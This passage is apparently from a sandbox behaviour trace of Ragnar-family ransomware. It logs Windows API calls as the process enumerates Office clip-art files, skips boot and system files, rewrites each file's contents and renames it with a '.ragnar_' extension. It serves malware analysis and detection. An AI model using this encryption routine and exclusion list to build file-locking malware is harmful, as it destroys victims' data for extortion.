(hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.085] GetProcessHeap () returned 0x580000 [0080.085] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.085] CloseHandle (hObject=0xf4) returned 1 [0080.085] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" [0080.085] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.ragnar_FD7BD9FC" [0080.085] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.086] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0080.086] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.086] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04355_.WMF" | out: lpString1="AN04355_.WMF") returned="AN04355_.WMF" [0080.086] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned=".WMF" [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="autorun.inf") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="boot.ini") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="bootfont.bin") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="bootsect.bak") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="bootmgr") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="bootmgr.efi") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="desktop.ini") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="iconcache.db") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="ntldr") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="ntuser.dat") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="ntuser.ini") returned -1 [0080.086] lstrcmpiW (lpString1="AN04355_.WMF", lpString2="thumbs.db") returned -1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.086] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0080.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.087] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3228) returned 1 [0080.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.087] GetProcessHeap () returned 0x580000 [0080.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.087] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.088] VirtualAlloc (lpAddress=0x0, dwSize=0xc9c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.089] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc9c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc9c, lpOverlapped=0x0) returned 1 [0080.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.089] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.089] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc9c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc9c, lpOverlapped=0x0) returned 1 [0080.089] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.089] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.089] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.089] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.090] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.090] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.090] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.090] GetProcessHeap () returned 0x580000 [0080.090] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.090] CloseHandle (hObject=0xf4) returned 1 [0080.090] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" [0080.090] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.ragnar_FD7BD9FC" [0080.090] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.090] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0080.090] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.090] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04369_.WMF" | out: lpString1="AN04369_.WMF") returned="AN04369_.WMF" [0080.091] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned=".WMF" [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="autorun.inf") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="boot.ini") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="bootfont.bin") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="bootsect.bak") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="bootmgr") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="bootmgr.efi") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="desktop.ini") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="iconcache.db") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="ntldr") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="ntuser.dat") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="ntuser.ini") returned -1 [0080.091] lstrcmpiW (lpString1="AN04369_.WMF", lpString2="thumbs.db") returned -1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.091] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0080.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.092] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4808) returned 1 [0080.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.092] GetProcessHeap () returned 0x580000 [0080.092] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.092] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.093] VirtualAlloc (lpAddress=0x0, dwSize=0x12c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.093] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12c8, lpOverlapped=0x0) returned 1 [0080.094] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.094] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.094] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12c8, lpOverlapped=0x0) returned 1 [0080.095] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.095] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.095] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.095] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.095] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.095] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.095] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.095] GetProcessHeap () returned 0x580000 [0080.095] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.095] CloseHandle (hObject=0xf4) returned 1 [0080.095] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" [0080.095] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.ragnar_FD7BD9FC" [0080.095] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.096] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0080.096] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.096] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04384_.WMF" | out: lpString1="AN04384_.WMF") returned="AN04384_.WMF" [0080.096] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned=".WMF" [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="autorun.inf") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="boot.ini") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="bootfont.bin") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="bootsect.bak") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="bootmgr") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="bootmgr.efi") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="desktop.ini") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="iconcache.db") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="ntldr") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="ntuser.dat") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="ntuser.ini") returned -1 [0080.096] lstrcmpiW (lpString1="AN04384_.WMF", lpString2="thumbs.db") returned -1 [0080.096] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.096] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.097] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.097] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.097] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.097] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.097] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0080.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.097] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4996) returned 1 [0080.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x137b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.097] GetProcessHeap () returned 0x580000 [0080.097] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.097] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.099] VirtualAlloc (lpAddress=0x0, dwSize=0x1384, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.099] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.099] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1384, lpOverlapped=0x0) returned 1 [0080.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.100] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1384, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.100] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1384, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1384, lpOverlapped=0x0) returned 1 [0080.100] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1384, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.100] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.100] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.100] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.100] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.100] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.101] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.101] GetProcessHeap () returned 0x580000 [0080.101] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.101] CloseHandle (hObject=0xf4) returned 1 [0080.101] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" [0080.101] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF", lpString2=".ragnar_FD7BD9FC" | out: 